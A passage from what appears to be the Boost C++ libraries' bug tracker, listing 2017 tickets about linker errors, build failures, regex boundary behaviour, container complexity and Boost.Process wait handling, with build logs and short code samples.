      boost::program_options::error_with_option_name::error_with_option_name(boost::program_options::error_with_option_name const&) in main.cpp.o
      boost::program_options::error_with_option_name::~error_with_option_name() in main.cpp.o
  NOTE: a missing vtable usually means the first non-inline virtual member function has no definition.
  "vtable for boost::program_options::value_semantic_codecvt_helper<char>", referenced from:
      boost::program_options::value_semantic_codecvt_helper<char>::value_semantic_codecvt_helper() in main.cpp.o
  NOTE: a missing vtable usually means the first non-inline virtual member function has no definition.
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make[3]: *** [mem1] Error 1
make[2]: *** [CMakeFiles/mem1.dir/all] Error 2
make[1]: *** [CMakeFiles/mem1.dir/rule] Error 2
make: *** [mem1] Error 2

This example below is working:

#include <boost/lambda/lambda.hpp>
#include <iostream>
#include <iterator>
#include <algorithm>
int main()
{
    using namespace boost::lambda;
    typedef std::istream_iterator<int> in;
    std::for_each(
            in(std::cin), in(), std::cout << (_1 * 3) << " " );
}

Thank you,

Yoni

#13172: filesystem::directory_iterator::operator++: Function not implemented (errno not reset)

Mon, 21 Aug 2017 18:32:24 GMT

In boost/libs/filesystem/src/operations.cpp we have readdir_r_simulator, which throws

exception of type boost::filesystem::filesystem_error: boost::filesystem::directory_iterator::operator++: Function not implemented: "/data/local/tmp/my_existing_path"

This is because errno is not reset after the ::sysconf(_SC_THREAD_SAFE_FUNCTIONS) call, which sets errno to 38 = ENOSYS.

A patch is to add the line errno = 0; after ::sysconf(_SC_THREAD_SAFE_FUNCTIONS).

This affects Android, e.g. https://github.com/android-ndk/ndk/issues/457

#13171: Linker error when using boost::process::posix::use_vfork

Mon, 21 Aug 2017 11:41:16 GMT

Trying to build the following code using GCC 7.1.1 and Boost 1.64.0 fails:

#include <boost/process.hpp>
namespace bp = boost::process;
int main(void)
{
  bp::child c("ls", bp::posix::use_vfork);
  c.wait();
  return 0;
}

The following linker error is generated:

In function 'boost::process::detail::posix::executor >, boost::fusion::filter_view&, boost::process::detail::posix::use_vfork_ const&> const, boost::process::detail::is_initializer > > > >::operator()()': spawn_simple.cpp:(.text._ZN5boost7process6detail5posix8executorINS_6fusion10joint_viewINS4_5tupleIJNS2_12exe_cmd_initIcEEEEENS4_11filter_viewIKNS6_IJRA6_KcRNS2_8null_outILi1ELin1EEERKNS2_10use_vfork_EEEENS1_14is_initializerIN4mpl_3argILin1EEEEEEEEEEclEv[_ZN5boost7process6detail5posix8executorINS_6fusion10joint_viewINS4_5tupleIJNS2_12exe_cmd_initIcEEEEENS4_11filter_viewIKNS6_IJRA6_KcRNS2_8null_outILi1ELin1EEERKNS2_10use_vfork_EEEENS1_14is_initializerIN4mpl_3argILin1EEEEEEEEEEclEv]+0x31): undefined reference to `boost::process::detail::posix::executor >, boost::fusion::filter_view&, boost::process::detail::posix::use_vfork_ const&> const, boost::process::detail::is_initializer > > > >::invoke(mpl_::bool_, mpl_::bool_)'

Given that Boost Process is a header-only library, why is the linker complaining about unresolved symbols in boost::process::...::invoke()?

#13169: Context breaks with using python jam file

Mon, 21 Aug 2017 01:37:13 GMT

With

using python
    : 3.6                   # Version
    : c:\\Users\\gfurn\\AppData\\Local\\Programs\\Python\\Python36\\python.exe # Python Path
    : c:/Users/gfurn/AppData/Local/Programs/Python/Python36/include # include path
    : c:/Users/gfurn/AppData/Local/Programs/Python/Python36/lib  # lib path(s)
    : <define>BOOST_ALL_NO_LIB=1
    ;
}}} as a user.jam, the following build messages are emitted on trunk.
{{{
...updating 10 targets...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 /Zi /Zd /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj" "libs\context\src\asm\make_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 /Zi /Zd /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj" "libs\context\src\asm\jump_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -D_WIN32_WINNT=0x0601 /Zi /Zd /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj" "libs\context\src\asm\ontop_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj...
...skipped <pbin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi>libboost_context-vc141-mt-gd-1_65.lib for lack of <pbin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi>asm\make_i386_ms_pe_masm.obj...
...skipped <pstage\lib>libboost_context-vc141-mt-gd-1_65.lib for lack of <pbin.v2\libs\context\build\msvc-14.1\debug\link-static\threading-multi>libboost_context-vc141-mt-gd-1_65.lib...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj" "libs\context\src\asm\make_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\make_i386_ms_pe_masm.obj...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj" "libs\context\src\asm\ontop_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\ontop_i386_ms_pe_masm.obj...
msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj
The system cannot find the file specified.
    call "C:\Users\gfurn\AppData\Local\Temp\b2_msvc_14.1_vcvars32_.cmd" >nul
ml -coff -nologo -c -Zp4 -Cp -Cx -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 -DBOOST_ALL_NO_LIB=1 -DBOOST_ALL_NO_LIB=1,<python>3.6,<target-os>windows:<python.interpreter>c:\Users\gfurn\AppData\Local\Programs\Python\Python36\python.exe -DBOOST_CONTEXT_EXPORT= -DBOOST_CONTEXT_SOURCE -DBOOST_DISABLE_ASSERTS -DNDEBUG -D_WIN32_WINNT=0x0601 /W3  -Fo "bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj" "libs\context\src\asm\jump_i386_ms_pe_masm.asm"
...failed msvc.compile.asm bin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi\asm\jump_i386_ms_pe_masm.obj...
...skipped <pbin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi>libboost_context-vc141-mt-1_65.lib for lack of <pbin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi>asm\make_i386_ms_pe_masm.obj...
...skipped <pstage\lib>libboost_context-vc141-mt-1_65.lib for lack of <pbin.v2\libs\context\build\msvc-14.1\release\link-static\threading-multi>libboost_context-vc141-mt-1_65.lib...
...failed updating 6 targets...
...skipped 4 targets...
}}}
The problem appears to be the <define> line, as commenting that out makes everything work.

#13168: Boost python tutorial doesn't build.

aaron@… — Sat, 19 Aug 2017 01:11:07 GMT

cd $BOOST_ROOT/libs/python/example/tutorial
bjam

And fails to find bootstrap.jam. When you use BOOST_BUILD_PATH to point to bootstrap.jam, this results in the entire libboost_python library being built *in situ*, and then, of course, hello_ext.so will not load.

And, if you configure user-config.jam to use python3, then the output shared library (i.e., "hello_ext.so") is misnamed. It should be "_hello_ext.so".

#13166: gcc static linking with LTO flag with boost filesystem fails

mettbest@… — Thu, 17 Aug 2017 15:06:40 GMT

boost version 1.64
gcc version 6.4.1
Linux OpenSuse x64 42.2
Cmake 3.5.2

[linking, no LTO] works:
-std=gnu++11 -O2 -fopenmp -static /opt/lib64/libboost_filesystem.a /opt/lib64/libboost_system.a

[linking, with LTO] does not work:
-std=gnu++11 -O2 -fopenmp -flto=8 -static /opt/lib64/libboost_filesystem.a /opt/lib64/libboost_system.a

error:

/opt/lib64/libboost_filesystem.a(operations.o): In function `boost::filesystem::detail::is_empty(boost::filesystem::path const&, boost::system::error_code*)':
operations.cpp:(.text+0x536a): undefined reference to `vtable for boost::detail::sp_counted_impl_p<boost::filesystem::detail::dir_itr_imp>'
/opt/lib64/libboost_filesystem.a(operations.o): In function `(anonymous namespace)::remove_all_aux(boost::filesystem::path const&, boost::filesystem::file_type, boost::system::error_code*)':
operations.cpp:(.text+0x699d): undefined reference to `vtable for boost::detail::sp_counted_impl_p<boost::filesystem::detail::dir_itr_imp>'
operations.cpp:(.text+0x6add): undefined reference to `vtable for boost::detail::sp_counted_impl_p<boost::filesystem::detail::dir_itr_imp>'
collect2: error: ld returned 1 exit status
CMakeFiles/zebr.dir/build.make:137: recipe for target 'zebr' failed

#13165: inplace_ptr

gast128@… — Thu, 17 Aug 2017 10:43:35 GMT

Boost.Optional uses in place object creation. In many cases it could used as a drop in repelacment of scoped_ptr with the benefit of circumventing a memory allocation and locality of memory access.

However its semantics is 'optional' and not like a fast replacement of scoped_ptr. Wouldn't it be an idea to add something like this to the smart_ptr library? Names can be e.g. inplace_ptr, value_ptr, etc. We could also use Boost.Optional but colleagues might get confused, since you do not use the 'optional' aspect but its performance aspect.

Note that people might wonder why not use value based directly, but there are still some use cases:

for pimpl idiom / hide expansive headers (e.g. multi index) in client
2 phase construction, where information is not yet available at parent constructor time.

Only drawback is that you lose polymorphism.

https://stackoverflow.com/questions/22636407/why-not-use-boostoptional-as-a-better-scoped-ptr

#13164: Unable to build Boost.Iostreams with pre-built zlib on Windows

listhex@… — Thu, 17 Aug 2017 10:00:42 GMT

I want zlib to be statically linked to the iostreams library

Command line approach:

b2 --with-iostreams link=static -sNO_ZLIB=0 -sNO_COMPRESSION=0 -sZLIB_INCLUDE=e:/zlib/include -sZLIB_LIBRARY_PATH=e:/ b/lib -sZLIB_BINARY=zlib.lib -sZLIB_NAME=zlib --debug-configuration

After that I get : unresolved external symbol "int const boost::iostreams::zlib::best_speed" (?best_speed@zlib@iostreams@boost@@3HB)

unresolved external symbol "int const boost::iostreams::zlib::best_compression" (?best_compression@zlib@iostreams@boost@@3HB)

...

The same situation if configure 'using zlib' in user-config.jam:

using zlib : : <include>e:/zlib/include <search>e:/ b/lib <name>zlib : <toolset>msvc ;

and command: b2 --with-iostreams link=static -sNO_ZLIB=0 -sNO_COMPRESSION=0 --debug-configuration

#13162: Sharable Lock And Upgradable Lock documentation

anonymous — Mon, 14 Aug 2017 11:10:56 GMT

http://www.boost.org/doc/libs/1_64_0/doc/html/interprocess/synchronization_mechanisms.html#interprocess.synchronization_mechanisms.sharable_upgradable_mutexes.sharable_upgradable_locks

The documentation of the interprocess sharable and upgradable locks state that "Boost.Interprocess mutexes are best used with the scoped_lock utility, and this class only offers exclusive locking.".

Then goes on to explain to use sharable_lock and upgradable_lock. Then shows some examples; but the example for a timed lock is wrong or misleading:

{

boost::posix_time::ptime abs_time = ...

This will call timed_lock_sharable() scoped_lock<SharableOrUpgradableMutex> lock(sh_or_up_mutex, abs_time);

Check if the mutex has been successfully locked if(lock){

Some code

} If the mutex was locked it will be unlocked

}

The example basically says that the scoped_lock will acquire a sharable lock (saying that it will call timed_lock_sharable())! This should read "sharable_lock<..." instead of "scoped_lock<..." same with upgradable lock.

#13161: Optional vector assignment regression

popizdeh@… — Mon, 14 Aug 2017 06:43:17 GMT

boost::optional<std::vector<int>> v;
v = { 1, 3 };

Assignment doesn't compile anymore. It worked in 1.62 and reports an error in 1.63. I think it has to do with the addition of BOOST_NO_CXX11_UNIFIED_INITIALIZATION_SYNTAX but I could be wrong.

#13158: core dump when get parent_path in a new thread

jaycelq@… — Thu, 10 Aug 2017 15:59:51 GMT

I will create a boost thread to delete some outdated files, and there is high possibility the program crash, when the program exit.

I got the issue like me, but not determined. I doubt it's reason of the static variable of locale. in groups.google.com/forum/#!topic/boost-list/HOyZxH8JJc4

                time_t del_time = cut_time - log_keep_time_ * 60;
                std::string del_path(file_path_);
                boost::thread del_thread(MiLogFile::removeExpiredLog, del_path, del_time);
                del_thread.detach();
        int MiLogFile::removeExpiredLog(std::string file_path, uint32_t expire_time)
        {
            boost::filesystem::path log_path(file_path);
            boost::filesystem::path dir = log_path.parent_path();

#3  0x00007fad7a9f4393 in __dynamic_cast () from /usr/lib64/libstdc++.so.6
#4  0x00007fad7a9d9fbb in std::codecvt<wchar_t, char, __mbstate_t> const& std::use_facet<std::codecvt<wchar_t, char, __mbstate_t> >(std::locale const&) () from /usr/lib64/libstdc++.so.6
#5  0x00007fad7ca415ad in boost::filesystem::path::parent_path() const () from ../../../..//ext//boost_1_56_0/stage/lib/libboost_filesystem.so.1.56.0
#6  0x00007fad7cc77ad0 in common::milog::MiLogFile::removeExpiredLog (file_path=..., expire_time=1502292035) at src/milog_file.cpp:361
#7  0x00007fad7cc7b706 in operator()<int, int (*)(std::basic_string<char, std::char_traits<char>, std::allocator<char> >, unsigned int), boost::_bi::list0> (a=..., f=<optimized out>, this=<optimized out>)
    at ../../../../..//ext//boost_1_56_0/boost/bind/bind.hpp:303
#8  operator() (this=<optimized out>) at ../../../../..//ext//boost_1_56_0/boost/bind/bind_template.hpp:20
#9  boost::detail::thread_data<boost::_bi::bind_t<int, int (*)(std::string, unsigned int), boost::_bi::list2<boost::_bi::value<char*>, boost::_bi::value<long> > > >::run (this=<optimized out>)
    at ../../../../..//ext//boost_1_56_0/boost/thread/detail/thread.hpp:115
#10 0x00007fad7e3d5e83 in thread_proxy () from ../../../..//ext//boost_1_56_0/stage/lib/libboost_thread.so.1.56.0
#11 0x00007fad79ef5aa1 in start_thread () from /lib64/libpthread.so.0
#12 0x00007fad7a1f3aad in clone () from /lib64/libc.so.6

#13157: Failed to Install

shadowflameg@… — Thu, 10 Aug 2017 03:42:39 GMT

C:\Program Files (x86)\Microsoft Visual Studio\2017\Community>cd C:\C++_Library\boost_1_60_0

C:\C++_Library\boost_1_60_0>bootstrap Building Boost.Build engine cl : Command line warning D9035 : option 'GZ' has been deprecated and will be removed in a future release cl : Command line warning D9036 : use 'RTC1' instead of 'GZ' cl : Command line warning D9002 : ignoring unknown option '/MLd'

Failed to build Boost.Build engine. Please consult bootstrap.log for further diagnostics.

You can try to obtain a prebuilt binary from

http://sf.net/project/showfiles.php?group_id=7586&package_id=72941

Also, you can file an issue at http://svn.boost.org Please attach bootstrap.log in that case.

#13156: Not word boundary - \b vs. NOT \B are not the same

anonymous — Thu, 10 Aug 2017 01:36:30 GMT

I am reposting this from another source.

In theory, \B should match everywhere \b doesn't.

In boost regex, this is not the case at the beginning nor end of string.

Below is a list of test results from a few Perl-like engines. Apparently, this was fixed in Perl v5.22 (below shows v5.20). The only engines that seem to handle this correctly is PHP and ECMAScript.

Target      = '   ssssssssssssss '
Replacement = '<>'
==================================================
PHP 7.03
\b      = '   <>ssssssssssssss<> '
\B      = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\b)  = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?<!\b) = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\B)  = '   <>ssssssssssssss<> '
(?<!\B) = '   <>ssssssssssssss<> '
=======================================
Perl 5.20
\b      = '   <>ssssssssssssss<> '
\B      = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s '
(?!\b)  = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?<!\b) = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\B)  = '   <>ssssssssssssss<> '
(?<!\B) = '   <>ssssssssssssss<> '
========================================
Boost 1.64
\b      = '   <>ssssssssssssss<> '
\B      = ' <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s '
(?!\b)  = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?<!\b) = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\B)  = '<>   <>ssssssssssssss<> <>'
(?<!\B) = '<>   <>ssssssssssssss<> <>'
=====================================
JavaScript
\b      = '   <>ssssssssssssss<> '
\B      = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\b)  = '<> <> <> s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s<>s <>'
(?!\B)  = '   <>ssssssssssssss<> '

#13154: Error compiling pthread/thread.o on Oracle Linux with Oracle compiler and stdlib=sun-stlport

maxim.kartashev@… — Wed, 09 Aug 2017 12:40:34 GMT

On Oracle Linux 7.3 with stdlib=sun-stlport:

sun.compile.c++ bin.v2/libs/thread/build/sun/release/stdlib-sun-stlport/threadin g-multi/pthread/thread.o "/usr/include/linux/sysinfo.h", line 21: Error: An array cannot have zero size unless you use the option -features=zla. 1 Error(s) detected.

The compiler refuses to accept zero length array in -compat=5 mode (required for stdlib=sun-stlport and =apache). A special option needs to be added to the command line: -features=zla

#13153: Missing return statement in range/algorithm_ext/insert.hpp

Olivier B. — Wed, 09 Aug 2017 12:24:11 GMT

Return statement is missing in method insert( Container& on, const Range& from )

Adding return on; fixes compilation.

Seems to be a regression since patch #6726 ( https://svn.boost.org/trac10/ticket/6726 )

#13151: Graph dominiator tree considers unvisited vertices

scott.gregory.west@… — Wed, 09 Aug 2017 10:26:12 GMT

The graph dominator tree will consider vertices that are not reachable from the given root. The unreachable check is implemented checking "dfnum < 0

dfnum >= numOfVertices", but the dfnum map is initialized to 0. So when nodes are really unvisited they will have a value of 0 and pass the check.

Simple fix could be: https://github.com/boostorg/graph/pull/97

#13147: Crash in boost::asio::basic_streambuf

luliu@… — Fri, 04 Aug 2017 06:50:09 GMT

Hi All,

Our program crashed in boost::asio::streambuf while streambuf was reserving more spaces.

The related codes using boost::asio::streambuf is like this:

boost::asio::streambuf send_buffer;
std::ostream send_stream(&send_buffer);
send_stream << "MESSAGE...";
send_stream << flush();
...
boost::asio::async_write(ssl_stream, send_buffer, ...);

#13146: Precompiled lib32-msvc-12.0 binaries don't compile in VS2013 projects

komannamok@… — Wed, 02 Aug 2017 23:06:14 GMT

Seems to be problems related to process/detail/config.hpp.

2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(86): error C2146: syntax error : missing ';' before identifier 'Char' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(86): error C2146: syntax error : missing ';' before identifier 'null_char' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(86): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(87): error C2144: syntax error : 'char' should be preceded by ';' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(87): error C2143: syntax error : missing ';' before '<' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(88): error C2143: syntax error : missing ';' before '{' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(88): error C2447: '{' : missing function header (old-style formal list?) 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(90): error C2146: syntax error : missing ';' before identifier 'Char' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(90): error C2146: syntax error : missing ';' before identifier 'equal_sign' 2>C:\local\boost_1_64_0\boost/process/detail/config.hpp(90): error C4430: missing type specifier - int assumed. Note: C++ does not support default-int

#13145: parse_charset.hpp(304): warning C4456: declaration of 'invert' hides previous local declaration

Wed, 02 Aug 2017 09:03:08 GMT

While compiling on Visual Studio 2015 I've got a warning:

parse_charset.hpp(304): warning C4456: declaration of 'invert' hides previous local declaration

It's really a new declaration of the 'invert' variable and possibly there are a hidden error or the variable should be renamed

#13144: Hinted overloads of boost::container::flat_map::insert_or_assign are uncompilable

Tue, 01 Aug 2017 18:37:22 GMT

boost::container::flat_map::insert_or_assign() overloads which take a hint require an impossible conversion from std::pair<iterator, bool> to iterator, breaking compilation of any code that tries to use these methods.

#13143: boost read_json throw exception when the json file has some gbk chinese charactor

Tue, 01 Aug 2017 02:47:29 GMT

there is a json file like this, without bom, use gbk code set. The boost::property_tree can parse it successfully in the majority.

try {
    boost::property_tree::read_json(filename, tree);
}
catch (exception &e) {
    cerr << e.what() << endl;
}

However, if the file has chinese character"历"(c0fa)or"繞"(c040), the property_tree will throw exception"invalid code sequence"

#13142: circle_formation_functor call has no effect?

nkurtov@… — Sat, 29 Jul 2017 20:25:40 GMT

What effect has the call of circle_formation_functor_.ppp() in boost::polygon::detail::circle_formation_predicate::operator() ? The call seems to have no side effects, because circle_formation_functor_ is stateless and it does not affect voronoi_builder or voronoi_diagram. Is it safe to simply delete the call?

http://www.boost.org/doc/libs/1_64_0/boost/polygon/detail/voronoi_predicates.hpp

class circle_formation_predicate {

bool operator()(const site_type& site1, const site_type& site2,

const site_type& site3, circle_type& circle) {

if (!site1.is_segment()) {

if (!site2.is_segment()) {

if (!site3.is_segment()) {

(point, point, point) sites. if (!circle_existence_predicate_.ppp(site1, site2, site3))

return false;

circle_formation_functor_.ppp(site1, site2, site3, circle); <- This call has no effect, does it?

#13141: Allow intrusive containers to work with relative pointers (ie with nodes stored in a vector)

fdegros@… — Fri, 28 Jul 2017 05:23:14 GMT

There is an interesting use case that Boost Intrusive containers don't seem to support yet.

I would like to store the nodes of my collection in an std::vector. The problem is: as nodes get pushed to the back of the vector, the vector reaches capacity, reallocates its internal buffer and these nodes don't stay at the same address. I therefore cannot use pointers (which hold an absolute address) to chain these nodes together.

However, I would like to use indices to chain these nodes. I call that index chaining. The idea is simple. Nodes stay at the same (relative) index inside the vector even though the vector grows and reallocates its internal buffer. Any node-based collection (linked list, red-black tree, etc), can be stored in a contiguous area of memory and represented using index chaining.

Think of the index as a relative pointer. This relative pointer needs some context to be dereferenced: the vector in which the elements are stored.

There are several good reasons why we might want to store a node-based data structure in a vector. It is more compact. It is more cache-friendly. We can use shorter integers to represent indices (eg int32_t compared to 64-bit absolute pointers), which makes the nodes more compact and the whole data structure more cache-friendly. All the nodes are colocated in a single memory block. If the nodes are trivially destructible, deleting the whole data structure is just a matter of deallocating a single memory block.

Las, the different traits class that would have helped (pointer_traits, node algorithms) are stateless and only work through static methods. And offset_ptr doesn't cut it.

I haven't found a way to get Boost intrusive to work this way. I might not be the only one trying. groups.google.com/forum/m/#!topic/boost-list/PYKJlqT_wuw describes a similar, if not the same, request.

Consider supporting this feature. That would open Boost intrusive to the realm of compact and relocatable node-based data structures.

#13140: Quadratic complexity of a flat_set constructor

victor.zverovich@… — Fri, 28 Jul 2017 00:53:15 GMT

The documentation of boost flat_set constructor taking two iterators says:

template<typename InputIterator>
  flat_map(InputIterator first, InputIterator last,
           const Compare & comp = Compare(),
           const allocator_type & a = allocator_type());

Effects: Constructs an empty flat_map using the specified comparison object and allocator, and inserts elements from the range [first ,last ).

Complexity: Linear in N if the range [first ,last ) is already sorted using comp and otherwise N logN, where N is last - first.

However, the complexity of this constructor is O(N*N) because the implementation of the constructor inserts each element into a vector at position found by binary search and insertion is linear in distance to the end of the vector.

A simple fix is to insert all elements at once and sort the vector backing flat_set.

#13139: child::join() incorrectly throws `waitpid(2) failed: No child processes` if child exited abnormally

keithb@… — Thu, 27 Jul 2017 19:46:16 GMT

Create a child process. Let it die abnormally (for example, calling kill(getpid(), SIGABRT) in the child). In the parent, call child.join().

It appears that the ::waitpid loop in boost::process::detail::posix::wait at github.com/boostorg/process/blob/boost-1.64.0/include/boost/process/detail/posix/wait_for_exit.hpp#L26-L31 only checks that the child ended because of a call to ::exit() and does not check for exiting via signal (WIFSIGNALED()).

Because WIFSIGNALED() is true, WIFEXITED() is false; and because it's false, the loop will continue and call ::waitpid() again... this time with a child PID to a process which has already been reaped. waitpid() will report an error (indicating that there's no such child prcess), and the error will be thrown.

The child's exact reason for exiting is lost, which is why I believe this should be marked a "Showstopper" severity; a workaround would be to avoid calling boost::process::wait() in any fashion and to instead use a custom waitpid loop using the child.native_handle().

#13138: bootstrap.bat throws an error

oranzohar@… — Thu, 27 Jul 2017 10:59:40 GMT

I cannot run the bootstrap.bat file gettin this error: " fail to build boost.build engien"

I have tryied to runin visual studio 32 and 64 bit (didnt matter) attached the bootstrap.log

thanks for you help.

#13137: boost::optional::operator*() doesn't have "const &&" overload, allowing incorrect usage

for.gcc.bugzilla@… — Wed, 26 Jul 2017 06:00:30 GMT

#include <boost/optional.hpp>
const boost::optional<int> f()
{
    return {1};
}
int main()
